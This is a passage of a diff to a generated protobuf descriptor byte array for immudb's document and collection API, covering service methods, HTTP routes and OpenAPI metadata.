0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, + 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, + 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, + 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, + 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, + 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, + 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, + 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, - 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, - 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, + 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, - 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, - 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, - 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, - 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, - 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, - 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, - 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, - 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, - 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, - 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, - 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, + 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, + 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 